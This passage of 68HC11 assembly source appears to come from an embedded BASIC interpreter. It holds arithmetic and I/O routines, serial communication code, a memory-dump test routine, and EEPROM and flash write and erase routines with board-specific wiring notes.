; SAVE THE RESULT. RDIV4 ldd ,x ; GET THE DIVISOR. ldx 2,X ; GET THE DIVIDEND. xgdx ; PUT THEM IN THE PROPER REGISTERS. idiv ; DO AN UNSIGNED DIVIDE. pshx ; SAVE THE QUOTIENT. ldx NUMSTACK ; POINT TO THE NUMERIC STACK. std 2,X ; SAVE THE REMAINDER. puld ; GET THE QUOTIENT. std ,x ; PUT IT ON THE NUMERIC STACK. pula ; GET THE SIGN OF THE RESULT. tsta ; SET THE CONDITION CODES. bpl :AnRTS ; IF PLUS, RESULT OK AS IS. bsr RNEG ; MAKE THE QUOTIENT NEGATIVE. ldd 2,X ; GET THE REMAINDER. negd ; MAKE IT NEGATIVE. std 2,X ; SAVE THE RESULT. rts ; RETURN. RMOD bsr RDIVS ; GO GET QUOTIENT & REMAINDER. jsr PULNUM ; REMOVE INTEGER RESULT & LEAVE REMAINDER. rts ; RETURN. RMULT pshy ldx NUMSTACK lda 1,X ldb 3,X mul pshd tsy lda 1,X ldb 2,X mul addb ,y stb ,y lda ,x ldb 3,X mul addb ,y stb ,y inx:2 puld std ,x stx NUMSTACK puly rts RNOT ldx NUMSTACK ldd ,x comd std ,x rts RNEG bsr RNOT incd std ,x rts RLT bsr CMPNUM bge RLT1 RLT2 inc 3,X RLT1 inx:2 stx NUMSTACK rts RGT bsr CMPNUM ble RLT1 bra RLT2 RLTEQ bsr CMPNUM bgt RLT1 bra RLT2 RGTEQ bsr CMPNUM blt RLT1 bra RLT2 REQ bsr CMPNUM bne RLT1 bra RLT2 RNOTEQ bsr CMPNUM beq RLT1 bra RLT2 CMPNUM ldx NUMSTACK ldd 2,X clr 2,X clr 3,X cmpd ,x rts RABS jsr DONEXP ldx NUMSTACK ldd ,x bpl RABS1 RABS2 negd RABS1 std ,x rts RSGN jsr DONEXP ldx NUMSTACK ldd ,x beq RABS1 ldd #1 tst ,x bpl RABS1 bra RABS2 RCALL jsr DONEXP ldx NUMSTACK ldx ,x jsr ,x bra RPEEK1 RPEEK jsr DONEXP ldx NUMSTACK ldx ,x ldb ,x clra RPEEK1 ldx NUMSTACK std ,x rts RFEEP jsr DONEXP ; GO GET SUBSCRIPT OF EEPROM ARRAY. ldx NUMSTACK ; POINT TO THE OPERAND STACK. ldd ,x ; GET THE SUBSCRIPT OFF THE STACK. cmpd #MAXEESUB ; IS IT WITHIN THE LIMIT? bls RFEEP1 ; YES. GO GET THE VALUE. lda #EESUBERR ; NO. SUBSCRIPT ERROR. RFEEP2 jmp RPTRERR ; REPORT THE ERROR. RFEEP1 lsld ; MULT THE SUBSCRIPT BY 2. addd #EEPBASAD ; ADD IN THE BASE ADDRESS OF THE EEPROM ADDRESS. xgdx ; PUT THE ADDRESS IN X. ldd ,x ; GET THE DATA. bra RPEEK1 ; GO STEAL SOME CODE. RFDIV jsr DONEXP ; GO EVALUATE THE DIVIDEND EXPRESSION. jsr RSKIPSPC ; SKIP SPACES. iny ; PASS UP THE COMMA. jsr RSKIPSPC ; SKIP SPACES AFTER THE COMMA. jsr DONEXP ; EVALUATE THE DIVISOR EXPRESSION. ldx NUMSTACK ; POINT TO OPERAND STACK. ldd 2,X ; GET THE DIVIDEND. ldx ,x ; GET THE DIVISOR. fdiv ; DO THE FRACTIONAL DIVIDE. bvc RFDIV1 ; ALL IS OK IF V=0. (IX > D). lda #OVDV0ERR ; ERROR. EITHER OVERFLOW OR /0 ERROR. RFDIV2 bra RFEEP2 ; GO REPORT IT. RFDIV1 xgdx ; PUT QUOTIENT IN D. ldx NUMSTACK ; POINT TO OPERAND STACK. inx:2 ; REMOVE DIVISOR FROM STACK. std ,x ; PUT QUITIENT ON OPERAND STACK. stx NUMSTACK ; SAVE NEW VALUE OF STACK POINTER. rts ; RETURN. RADC jsr DONEXP ; GO GET THE CHANNEL NUMBER TO CONVERT. ldx NUMSTACK ; POINT TO THE RESULT. ldd ,x ; GET THE CHANNEL NUMBER. bmi RADC4 ; NEGATIVE CHANNEL NUMBERS ARE ILLEGAL. cmpd #7 ; IS IT A VALID CHANNEL NUMBER? bls RADC1 ; YES. GO CONVERT IT. RADC4 lda #INVCHERR ; NO. INVALID CHANNEL NUMBER. bra RFDIV2 ; GO REPORT THE ERROR. RADC1 ldx IOBASEV stb ADCTL,X ; START THE CONVERSION ON THE SELECTED. RADC2 tst ADCTL,X ; IS THE CONVERSION COMPLETE? bpl RADC2 ; NO. WAIT FOR 4 CONVERSIONS ON 1 CHANNEL. clra ; YES. NOW AVERAGE THE 4 CONVERSIONS. ldb ADR1,X ; GET 1ST RESULT. addb ADR2,X ; ADD IN THE SECOND. adca #0 ; ADD IN CARRY. addb ADR3,X ; ADD IN THE THIRD. adca #0 ; ADD IN CARRY. addb ADR4,X ; ADD IN THE FOURTH. adca #0 ; ADD IN CARRY. lsrd:2 ; DIVIDE RESULT BY 4. ldx NUMSTACK ; POINT TO THE RESULT. std ,x ; PUT THE RESULT ON THE OPERAND STACK. rts ; RETURN. RRND jsr DONEXP ; GO GET FUNCTION ARGUMENT. ldx NUMSTACK ; GET ARGUMENT OFF STACK. GET NEW RANDOM NUMBER? ldd ,x beq RRND2 ; YES. GO GET NEXT RANDOM NUMBER IN THE SERIES. bmi RRND1 ; IF NEG., START A NEW SERIES. ldd RANDOM ; IF POSITIVE, GET LAST RANDOM NUMBER. bra RRND3 ; RETURN. RRND1 ldx IOBASEV ldd TCNT,X ; USE THE TIMER VALUE AS THE NEW SEED. std RANDOM ; SAVE IT. RRND2 ldd RANDOM ; GET PREVIOUS RANDOM NUMBER (USE AS SEED). aslb ; DO SOME OPERATIONS. aba ldb RANDOM+1 asld:2 addd RANDOM addd #$3619 std RANDOM RRND3 lsrd ; MAKE THE NUMBER POSITIVE. std ,x ; PUT THE NUMBER ON THE STACK. rts ; RETURN. ITAB equ * ICHRS equ * IHEX equ * IHEX2 lda #PRFUNERR ; THESE FUNCTIONS MUST BE USED ONLY IN jmp RPTRERR ; PRINT STATEMENTS. RFTIME ldd TIMEREG ; GET THE TIME IN SECONDS. bra RFPORTA2 ; GO PUT NUMBER ON THE STACK. RFPACC ldx IOBASEV ldb PACNT,X ; GET THE CURRENT VALUE OF THE PULSE ACCUMULATOR. clra bra RFPORTA2 ; GO PUT THE NUMBER ON THE STACK. RFPORTA ldb #PORTAIO ; GET DATA FROM PORTA. RFPORTA1 ldx IOBASEV abx ldb ,x clra ; CLEAR UPPER BYTE OF WORD. RFPORTA2 dey:2 ; DECREMENT IP BECAUSE CALLING ROUTINE WILL TRY ; TO BUMP IT PAST AN OPENING & CLOSING PAREN ; WHICH ISN'T THERE. jmp PSHNUM4 ; GO PUSH VALUE ON OPERAND STACK & RETURN. RFPORTB ldb #PORTBIO bra RFPORTA1 RFPORTC ldb #PORTCIO bra RFPORTA1 RFPORTD ldb #PORTDIO bra RFPORTA1 RFPORTE ldb #PORTEIO bra RFPORTA1 ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; #Include IOPKG.ASM ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; COMMUNICATIONS ROUTINES ;***************************************************************************** OUTBYTE inc PRINTPOS ; INCREMENT THE CURRENT PRINT POSITION. pshb ; SAVE THE B-REG. pshx ; SAVE THE X-REG. ldx #OUTABLE ; POINT TO THE OUTPUT VECTOR TABLE. OUTBYTE1 ldb DEVNUM ; GET THE CURRENT DEVICE NUMBER. aslb ; MULT BY 2. abx ; POINT TO THE ADDRESS OF THE OUTPUT ROUTINE. ldx ,x ; GET THE ADDRESS. HAS THE VECTOR BEEN INITALIZED? bne OUTBYTE2 ; YES. GO OUTPUT THE CHARACTER. clr DEVNUM ; NO. RESET TO DEVICE #0. lda #UNINIERR ; GO REPORT AN UNINITALIZED I/O VECTOR ERROR. jmp RPTRERR OUTBYTE2 jsr ,x ; GO OUTPUT THE CHARACTER. pulx ; RESTORE X. pulb ; RESTORE B. rts ; RETURN. ;*********** INBYTE pshb ; SAVE THE B-REG. pshx ; SAVE THE X-REG. ldx #INTABLE ; POINT TO THE INPUT VECTOR TABLE. bra OUTBYTE1 ; GO USE THE SAME CODE AS OUTBYTE. ;*********** SCIIN pshx ; Save the index register. ldx IOBASEV SCIIN1 lda SCSR,X ; GET SCI STATUS. anda #$20 ; HAS A CHARACTER BEEN RECEIVED? beq SCIIN1 ; NO. WAIT FOR CHARACTER TO BE RECEIVED. lda SCDR,X ; GET THE CHARACTER. pulx ; Restore X. rts ; RETURN. ;*********** SCISTAT pshx ; Save the index register. ldx IOBASEV psha ; SAVE THE A-REG. lda SCSR,X ; GET THE SCI STATUS. bita #$20 ; CHECK TO SEE IF A CHARACTER HAS BEEN RECEIVED. pula ; RESTORE STATUS. pulx ; Restore X. rts ; RETURN W/ STATUS. ;*********** IODevInit bsr INITSCI lda #JMPOP sta CONSTAT ; INITIALIZE THE CONSOLE STATUS VECTOR. sta INCONNE ; INITIALIZE THE INPUT FROM CONSOLE NO ECHO VECT. ldd #SCISTAT ; CONSOLE IS INITIALLY THE SCI. std CONSTAT+1 ldd #SCIIN ; GET BYTE FROM SCI, DON'T ECHO IT. std INCONNE+1 rts ;*********** INITSCI pshx ; Save the index register. ldx IOBASEV lda #$30 ; SET BAUD RATE TO 9600. sta BAUD,X clr SCCR1,X ; SET FOR 8 BIT OPERATION, DISABLE WAKEUP. lda #$0C ; ENABLE THE TRANSMITER & RECEIVER. sta SCCR2,X lda #$11 ; GET THE XON CHARACTER (CONTROL-Q). sta XONCH ; INITALIZE THE XON REGISTER. lda #$13 ; GET THE XOFF CHARACTER (CONTROL-S). sta XOFFCH ; INITALIZE THE XOFF CHARACTER. pulx rts ; RETURN. ;*********** ; SEND A CHARACTER TO THE PRINTER PROUT bsr SCISTAT ; WAS AN "X-OFF" RECEIVED? beq SCIOUT ; NO. GO SEND THE CHARACTER. psha ; SAVE THE CHARACTER TO SEND. bsr SCIIN ; YES. GO RESET THE SCI RECEIVER STATUS. cmpa XOFFCH ; WAS IT AN XOFF? bne PROUT2 ; NO. SO GO SEND THE CHARACTER. PROUT3 bsr SCIIN ; GO WAIT FOR AN "X-ON" CHARACTER. cmpa XONCH ; IS IT AN X-ON CHARACTER? bne PROUT3 ; NO. GO WAIT FOR AN X-ON CHARACTER. PROUT2 pula ; GET THE CHARACTER TO SEND. ;FALLS THRU TO SCIOUT ; SEND THE CHARACTER TO THE PRINTER & RETURN. ;*********** SCIOUT pshx ; Save the index register. ldx IOBASEV ?SCIOUT tst SCSR,X ; GET THE SCI STATUS. bpl ?SCIOUT ; WAIT TILL THE LAST CHARACTER HAS SHIFTED OUT sta SCDR,X ; SEND THE CHARACTER. pulx ; Restore X. rts ; RETURN. ;*********************************************************************** ;*********************************************************************** ;*********************************************************************** ; test routine to dump memory ;*********************************************************************** ;*********************************************************************** ;*********************************************************************** ; This application is a loader and utility package. Its purpose is to allow ; other application code to be loaded and setup in Flash memory. ; This code is initially loaded into RAM using the FTC_LOAD.BAS program, ; from RAM it is executed. COM ldx IOBASEV jsr CRLF clrd std DMPGO comb std DMPEND bsr DUMP jsr CRLF ldd #$1000 std DMPGO ldb #$6F std DMPEND bsr DUMP bsr CRLF ldd #$FF00 std DMPGO ldd #$000F std DMPEND bsr DUMP bsr DELAY bra COM ;*********************************************************************** ;*********************************************************************** ;*********************************************************************** ; SUBROUTINES ;*********************************************************************** ;*********************************************************************** ;*********************************************************************** ; SHORT DELAY DELAY pshy ldy #$07FFF DLY1 dey bne DLY1 puly rts TESTEND ;************************************************************** ;************************************************************** DUMP bsr DELAY bsr CRLF ldb CONFIG,X bsr TXHEX ; SEND CONFIG REGISTER bsr CRLF ldy DMPGO ; START POINT ADDRESS lda #$10 ; BYTES PER MESSAGE LINE sta COUNT1 sty TEMP1 ldd TEMP1 pshd pulb bsr TXHEX ; SEND HI BYTE OF ADDRESS pulb bsr TXHEX ; SEND LO BYTE OF ADDRESS ldb #$20 bsr TXDAT ; SEND SPACE DATA2 ldb ,y bsr TXHEX ldb #$20 ; send "space" bsr TXDAT iny ; NEXT ADDRESS cpy DMPEND ; END POINT bne DATA1 rts ; finished DATA1 dec COUNT1 bne DATA2 ; CONITNUE WITH CURRENT LINE SD1 bsr CRLF bsr DELAY bra ADDRESS ;************************************************************** ;************************************************************** ; CONVERT & SEND BYTE IN "B" TXHEX pshb ; SAVE COPY bsr OUTLHLF ; SEND LEFT HALF pulb bsr OUTRHLF ; SEND RIGHT HALF rts OUTLHLF lsrb:4 ; shift data to right OUTRHLF andb #$0F ; mask top half addb #$30 ; convert to ascii cmpb #$39 ble TXDAT ; jump if 0-9 addb #$07 ; convert to hex A-F ; TRANSMIT BYTE IN "B" TXDAT brclr SCSR,X,#%10000000,* ; TRANSMITT ONE BYTE stb SCDR,X brclr SCSR,X,#%10000000,* ; WAIT UNTILL SENT rts ; SEND CRLF CRLF ldb #CR bsr TXDAT ; SEND CR ; ldb #LF ; bsr TXDAT ; SEND LF rts FLASHER brset [PORTA,X,LED5,FLS1 ; check LED5 bset [PORTA,X,LED5 ; LED5 = on bra FLS2 FLS1 bclr [PORTA,X,LED5 ; LED5 = off FLS2 pshy ldy #$07FFF FLS3 dey bne FLS3 puly rts ;************************************************************************ ; FLASH MEMORY - IMPORTANT NOTES ;************************************************************************ ; These notes apply to the boards CPU_1A1 and CPU_1B. ; The data and address lines between the CPU and the FLASH chip are ; swapped over: ; cpu to flash cpu to flash ; A0 - A7 D0 - D7 ; A1 - A6 D1 - D6 ; A2 - A5 D2 - D5 ; A3 - A4 D3 - D4 ; A4 - A3 D4 - D3 ; A5 - A2 D5 - D2 ; A6 - A1 D6 - D1 ; A7 - A0 D7 - D0 ; A8 - A8 ; A9 - A9 ; A10 - A10 ; A11 - A11 ; A12 - A12 ; A13 - A13 ; A14 - A14 ; A15 - nc ; This was done to simplify the layout of the PCB, allowing it to be ; as small as it is, without moving to the next level of construction ; sophistication. ; When reading and writing data there is no noticable difference. It does ; mean that the data cannot be read or written using a stand-alone ; programmer without running a conversion. The data is not actually ; stored exactly where it appears to be stored. Each block of 256 bytes ; is mixed up but sector boundaries are not violated, so it has no real ; effect. ; When writing commands to the flash and monitoring the status of ; internal operations it is required to convert the data codes and ; addresses before writing/reading the flash. ; data sheet 2AAAH becomes 2A55H address ; data sheet 5555H becomes 55AAH address ; data sheet 10H becomes 08H chip erase ; data sheet 30H becomes 0CH sector erase ; data sheet 55H becomes AAH 2nd cycle ; data sheet 80H becomes 01H erase ; data sheet 90H becomes 09H autoselect ; data sheet A0H becomes 05H program ; data sheet AAH becomes 55H 1st & 3rd cycle ; data sheet F0H becomes 0FH reset ; The status flag bits are also converted: ; flag DQ7 seen as 00000001 (01H) data polling ; flag DQ6 seen as 00000010 (02H) toggle ; flag DQ5 seen as 00000100 (04H) > time limit ; flag DQ3 seen as 00010000 (10H) sect. erase timer ; The routines that write or erase the contents of FLASH memory can not ; be run from FLASH. The FLASH is not accessable during write or erase. ; The routines that write or erase FLASH are copied to RAM. To minimise ; the amount of RAM used, the routines should be kept simple. This means ; that the application will have to wait for the process to complete. ; A section of RAM (7E00H to 7FFF = 512 bytes) is set asside for these ; routines. ;************************************************************************ ; WRITE() ; Writes the data in "A" to the address of "Y". ; It handles RAM EEPROM and FLASH. ; On return, carry is set if the write failed, set if passed. ; "X" not affected ; "Y" address to save data to ; "A" data to save ; "B" not affected WRITE pshx ; save X ldx IOBASEV ; register base ; confirm valid target address cpy #$C000 ; stay out of flash sector 1 blo WR0 ; lower is OK cpy #$FE00 ; stay out of flash sector 1 blo :AnRTS ; within sector, not valid cpy #ASFLAG ; autostart flag beq WR6 ; yes cpy #$FE00 ; buffalo vector beq :AnRTS ; yes cpy #$FE01 ; buffalo vector beq :AnRTS ; yes cpy #$FE02 ; buffalo vector beq :AnRTS ; yes cpy #$FF80 ; eeprom boot code blo WR0 ; no rts ; address not valid WR0 cpy #CONFIG beq WR6 ; CONFIG = EEPROM cpy #EEP_SA ; START OF EEPROM bhs WR6 ; MUST BE EEPROM WR1 cpy #FLS_EA ; END OF FLASH bhi WR2 ; HIGHER THAN FLASH cpy #FLS_SA ; START OF FLASH bhs WR7 ; MUST BE FLASH WR2 sta ,y ; write RAM WR3 cmpa ,y ; verify write beq WR4 ; passed sec ; set carry = failed bra WR5 ; return from subroutine WR4 clc ; clear carry = passed WR5 pulx ; restore X rts ; return from subroutine WR6 sei ; disable interrupts bsr EE_WR ; byte EEPROM program cli ; re-enable interrupts bra WR3 ; DONE WR7 sei ; disable interrupts jsr FL_RAM ; check/copy to RAM jsr FL_WR-FLRC_SA+FL2RAM ; BYTE PROGRAM FLASH cli ; re-enable interrupts bra WR3 ; DONE ;************************************************************************ ;************************************************************************ ; EEPROM MEMORY WRITE, ERASE & BULK ERASE ; EE_WR Writes data in "A" to address in "Y" ; EE_EB Erases the byte at address in Y. ; EE_BE Bulk erases EEPROM. ; Whether eebulk erases the config or not depends on the ; address it receives in "Y". ; "X" points to registers ; "Y" address to save data to ; "A" data to save ; "B" not affected EE_WR cmpa ,y ; does it need programming ?? beq EE5 ; NO !!! ldb ,y ; read destination address cmpb #$FF ; is it erased ?? beq EE1 ; NO !!! bsr EE_EB ; Erase one byte EE1 pshb ldb #$02 stb PPROG,X sta ,y ldb #$03 bra EE2 ;************ ; BYTE ERASE ADDRESS Y EE_EB pshb ldb #$16 stb PPROG,X ldb #$FF stb ,y ldb #$17 bra EE2 ;************ ; BULK ERASE EEPROM EE_BE pshb ldb #$06 stb PPROG,X sta ,y ; erase config or not ... ldb #$07 ; ... depends on X addr EE2 bne EE3 clrb ; fail safe EE3 stb PPROG,X pulb ; delay 10ms at E = 2MHz pshx ldx #$0D06 ; 10mS time EE4 dex bne EE4 pulx EE5 clr PPROG,X rts ;************************************************************************ ;************************************************************************ ; FLASH MEMORY IDENTIFY ; Returns manufacturer and device ID in "A" & "B" ; "X" points to registers ; "A" returns manufacturer ID ; "B" returns device ID FLID bsr FL_RAM ; ensure setup ldb #$09 ; third cycle byte (90H = auto select) jsr FL_COM-FLRC_SA+FL2RAM ; enter command mode ldd FLS_SA ; read id, bytes 1 & 2 pshb ; save B ldb #$0F ; third cycle byte (F0H = reset) jsr FL_COM-FLRC_SA+FL2RAM ; enter command mode pulb ; restore B rts ; return from subroutine ;************************************************************************ ;************************************************************************ ; FLASH SECTOR ERASE CHECK ; "A" contains the bank address & sector to be checked. ; Carry clear if sector erased, Set if not erased. ; "X" unchanged, points to registers ; "Y" unchanged ; "A" unchanged, indicates the bank & sector to be checked. (returns result) ; "B" unchanged FL_EC pshx ; save X pshy ; save y pshb ; save B ldx IOBASEV ; register base ; sort out bank ldb PORTGIO,X andb #%11101111 ; mask other bits pshb ; save bank address psha ; save A, bank address to check anda #%00001111 ; mask all but bank select bits ldb PORTGIO,X ; read port G andb #%1110000 ; mask bank select bits aba ; merge A & B to A sta PORTGIO,X ; select bank to check pula ; restore A FL_EC1 bita #%0010000 ; test sector ID bit (ANDA) bne FL_EC1A ; check 2nd sector of bank ldy #FLS_SA ; first sector bra FL_EC2 ; continue FL_EC1A ldy #FLS_SA+$4000 ; second sector ; check now FL_EC2 ldb ,y ; read byte cmpb #$FF ; check bne FL_EC4 ; sector not erased iny ; next address bita #%00010000 ; test sector ID bit (ANDA) bne FL_EC3 ; checking 2nd sector of bank cpy #FLS_SA+$4000 ; last address + 1 beq FL_EC5 ; sector erased bra FL_EC2 ; continue FL_EC3 cpy #FLS_EA+1 ; last address + 1 beq FL_EC5 ; sector erased bra FL_EC2 ; continue ; log result FL_EC4 sec ; restore A (not erased) bra FL_EC6 ; continue FL_EC5 clc ; restore A (erased) ; finished FL_EC6 pulb ; recover active bank bclr PORTGIO,X,%00001111 ; clear existing orb PORTGIO,X ; merge stb PORTGIO,X ; restore active bank pulb ; restore B puly ; restore Y pulx ; restore X rts ; return from subroutine ;************************************************************************ ;************************************************************************ ; COPY TO FLASH ROUTINES TO RAM ; This routine checks to see if the code is already in RAM. If not, it ; is copied accross. ; The routines that must be run from RAM are stored in FLASH. Before thay ; can be used, the code must be copied to RAM. ; The source and destination addresses are preset/fixed for simplicity. ; "X" unchanged ; "Y" unchanged ; "A" unchanged ; "B" unchanged FL2RAM equ $7E00 ; destination address FL_RAM pshd ; save D ldd FL_WR-FLRC_SA+FL2RAM ; check 1st word cmpd FL_COM ; mask bne FL_RAM1 ; load flash routines ldd FL_WR-FLRC_SA+FL2RAM+1 ; check 2nd word cmpd FL_COM+2 ; mask bne FL_RAM1 ; load flash routines FL_RAM0 puld ; restore D rts ; finished FL_RAM1 pshx ; save X pshy ; save Y ldx #FLRC_SA ; first source address ldy #FL2RAM ; first destination address FL_RAM2 lda ,x ; read sta ,y ; write iny ; next destination address inx ; next source address cpx #FLRC_EA ; last source address + 1 bne FL_RAM2 ; next byte puly ; restore Y pulx ; restore X bra FL_RAM0 ; continue ;************************************************************************ ;************************************************************************ ; THESE ROUTINES ARE RUN FROM RAM RAM FLRC_SA ; first address ; This code is assembled to be relocatable. This allows it to be copied ; to another area of memory and still work. The JMP and JSR commands ; cause the problems. ; jsr FL_COM ; to FL_COM-FLRC_SA+FL2RAM (command) ; jsr FL_WR ; to FL_WR-FLRC_SA+FL2RAM (write) ; jsr FL_BE ; to FL_BE-FLRC_SA+FL2RAM (erase) ; A copy is required to be held in FLASH for later reloading. ; The initial FLASH loader should be able to copy the code from RAM to ; FLASH. This will ensure that when it is copied back for use, it will ; work. ;************************************************************************ ;************************************************************************ ; SUBBROUTINE = ENTER FLASH COMMAND ; "X" unchanged, points to registers ; "Y" unchanged ; "A" unchanged ; "B" unchanged, contains third cycle data byte (00 = skip third cycle) FL_COM pshx ; save X psha ; save A ldx IOBASEV ; register base lda PORTGIO,X anda #%00001111 ; mask other bits psha ; save active bank address lda PORTGIO,X anda #%11110000 ; mask other bits sta PORTGIO,X ; select first bank lda #$55 sta FLS_SA+$55AA ; first cycle AA to 5555 coma sta FLS_SA+$2A55 ; second cycle 55 to 2AAA tstb ; test B for 00 beq FL_COM1 ; skip third cycle stb FLS_SA+$55AA ; third cycle ?? to 5555 FL_COM1 pula ; recover active bank bclr PORTGIO,X,%00001111 ; clear existing ora PORTGIO,X ; merge sta PORTGIO,X ; restore active bank pula ; restore B pulx ; restore X rts ; return from subroutine ;************************************************************************ ;************************************************************************ ; FLASH MEMORY WRITE ; Writes data in "A" to address in "Y" ; This code must be run from RAM ; See notes at end of FLASH routines ; "X" unchanged, points to registers ; "Y" unchanged, address to save data to ; "A" unchanged, data to save ; "B" unchanged FL_WR pshx ; save X pshb ; save B ldx IOBASEV ; register base ldb ,y ; read location cmpb #$FF ; check erased bne FL_W2 ; not erased ldb #$05 ; third cycle byte (A0) jsr FL_COM-FLRC_SA+FL2RAM ; enter command mode sta ,y ; write data FL_W1 cmpa ,y ; check progress bne FL_W1 ; not finished FL_W2 pulb ; restore B pulx ; restore X rts ; not erased ;************************************************************************ ;************************************************************************ ; FLASH MEMORY BULK ERASE ( caution, very dangerous ) ; "A" contains the bank address and sector to be erased. If "A" contains ; FF then the entire chip is erased. Take care, no second chances. ; This code must be run from RAM ; See notes at end of FLASH routines ; Bits xxxx1111 specify the bank, bit xxx1xxxx, indicates the sector within ; the bank. The 29F010 has 2 16K sectors per 32K bank. ; "X" points to registers ; "A" indicates the sector to be erased, not affected ; "B" not affected FL_BE pshx ; save X psha ; 1 save A pshb ; 2 save B ldx IOBASEV ; register base FL_BE1 ldb #$01 ; third cycle byte (80H = erase) jsr FL_COM-FLRC_SA+FL2RAM ; enter command mode cmpa #$FF ; test A for FF (erase all) beq FL_BE6 ; erase chip (all) now ; sort out bank ldb PORTGIO,X andb #%11101111 ; mask other bits pshb ; 3 save initial bank address psha ; 4 save A anda #%00001111 ; mask all but bank select bits ldb PORTGIO,X ; read port G andb #%11110000 ; mask bank select bits aba ; merge A & B to A sta PORTGIO,X ; select bank to erase pula ; 4 restore A ; erase sector clrb ; third cycle byte (skip) jsr FL_COM-FLRC_SA+FL2RAM ; enter command mode ldb #$0C bita #%00010000 ; test sector ID bit (ANDA) bne FL_BE3 ; erase 2nd sector of bank stb FLS_SA ; third cycle (30H = erase 1st sector) FL_BE2 ldb FLS_SA ; wait for erase to complete andb #%00000001 ; DQ7 (swapped) beq FL_BE2 ; wait bra FL_BE5 ; continue FL_BE3 stb FLS_SA+$4000 ; third cycle (30H = erase 2nd sector) FL_BE4 ldb FLS_SA+$4000 ; wait for erase to complete andb #%00000001 ; DQ7 (swapped) beq FL_BE4 ; wait FL_BE5 pulb ; 3 recover initial bank address bclr PORTGIO,X,%00001111 ; clear existing orb PORTGIO,X ; merge stb PORTGIO,X ; restore active bank bra FL_BE8 ; erase chip FL_BE6 ldb #$08 ; third cycle byte (10H = chip erase) jsr FL_COM-FLRC_SA+FL2RAM ; enter command mode FL_BE7 lda FLS_SA ; wait for erase to complete anda #%000000001 ; DQ7 (swapped) beq FL_BE7 ; wait FL_BE8 pulb ; 2 restore B pula ; 1 restore A pulx ; restore X rts ; return from subroutine FLRC_EA ; last address ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; variable initalisation ;***************************************************************************** ;***** initvars() *****/ ; ;initvars() ;{ ; char *x; ; varbegin=varend=0x7000; ; varmend=0x7FFF; ; for(x=varbegin; x<=varmend; x++) *x=0; ; basbeg=basend=0x4000; ; basmend=0x6FFF; ; for(x=basbeg; x<=basmend; x++) *x=0; ; hiline=0; ; return; ;} INITVARS ldx #RAMSTART ; YES. VARIABLES START AT RAMBEG. stx VARBEGIN ; SET POINTERS TO BOTH START AND END OF VARIABLE stx VAREND ; STORAGE. stx BASBEG ; SET POINTERS TO BOTH THE START AND END OF THE stx BASEND ; BASIC PROGRAM. xgdx ; GET THE START OF RAM INTO D addd #RAMSIZE ; add the size of the RAM to it. subd #SWSTKSize+1 ; subtract the size of the software stack, token & input buffers. ; stack moved to lower RAM (below CPU registers) std VARMEND ; SAVE THE POINTER. std BASMEND ; MAKE IT THE END OF BASIC PROGRAM MEMORY. addd #1 ; Set up a pointer to the input buffer. std INBUFFS ; Save the pointer. addd #IBUFLEN ; add the length of the input buffer to create a pointer to the token buffer. std TKNBUFS ; save the pointer. addd #TBUFLEN ; add the length of the token buffer to create a pointer to the end of the operand stack. std EOPSTK ; save the pointer to the end of the operator stack. addd #OPSLEN ; add the length of the operand stack. std STOPS ; save the pointer to the start of the operator stack. std ENUMSTK ; also make it the end of the operand stack. addd #NUMSLEN ; add the length of the operand stack. std STNUMS ; save the result as the start of the operand stack. std EFORSTK ; also make it the end of the FOR stack. addd #FORSLEN ; Add the length of the FOR stack. std STFORSTK ; save the result as the start of the FOR stack. std EWHSTK ; also make it the end of the while stack. addd #WHSLEN ; add the length of the while stack. std STWHSTK ; save the pointer as the start of the while stack. std EGOSTK ; also make it the end of the GOSUB stack. addd #GOSLEN ; add the length of the GOSUB stack. std STGOSTK ; save it as the start of the GOSUB stack. ldx BASBEG ; point to the start of the basic program buffer. ; clear basic program storage space INIT1 clr ,x ; CLEAR THE STORAGE TO ZERO. inx ; POINT TO THE NEXT LOCATION. cpx BASMEND ; ARE WE DONE? bls INIT1 ; NO. KEEP CLEARING. ; check for auto-start ldx #PSSTART lda ASFLAG ; GET THE AUTO START FLAG AGAIN. cmpa #$55 ; IS THE AUTO START MODE SET? bne INIT5 ; NO. DO A NORMAL INIT. jsr AUTOLOAD ; GO LOAD the program and VARIABLES INTO RAM. ; misc INIT5 clrd ; MAKE THE HIGHEST LINE IN THE PROGRAM 0. std HILINE std CURLINE ; MAKE THE CURRENT LINE #0. jsr RUNINIT ; GO INITALIZE ALL THE SOFTWARE STACKS. clr TRFLAG ; TURN THE TRACE MODE OFF. lda #1 ; "CONT" COMMAND NOT ALLOWED. sta CONTFLAG clr DEVNUM ; MAKE THE DEFAULT DEVICE NUMBER 0 (CONSOLE). clr IMMID ; clear the immediate mode flag (added 9/17/90). ldx VAREND ; GET THE POINTER TO THE END OF VARIABLE STORAGE. inx ; BUMP IT BY 1. stx STRASTG ; POINT TO THE DYNAMIC ARRAY STORAGE. rts ; RETURN. ;***************************************************************************** ; interrupt service routines ;***************************************************************************** ;*********** ; interrupt 1 SCIINT lda #1 sta GWIZ1 jmp WRONG ;*********** ; interrupt 2 SPIINT lda #2 sta GWIZ1 jmp WRONG ;*********** ; interrupt 3 PACCINT ldx IOBASEV lda #$30 ; RESET BOTH THE TIMER OVERFLOW & INPUT FLAG. sta TFLG2,X ldy ONPACLIN ; GET POINTER TO LINE NUMBER OF THE SERVICE ROUT. bne TIMINTS2 rti ;*********** ; interrupt 4 PACOINT lda #4 sta GWIZ1 jmp 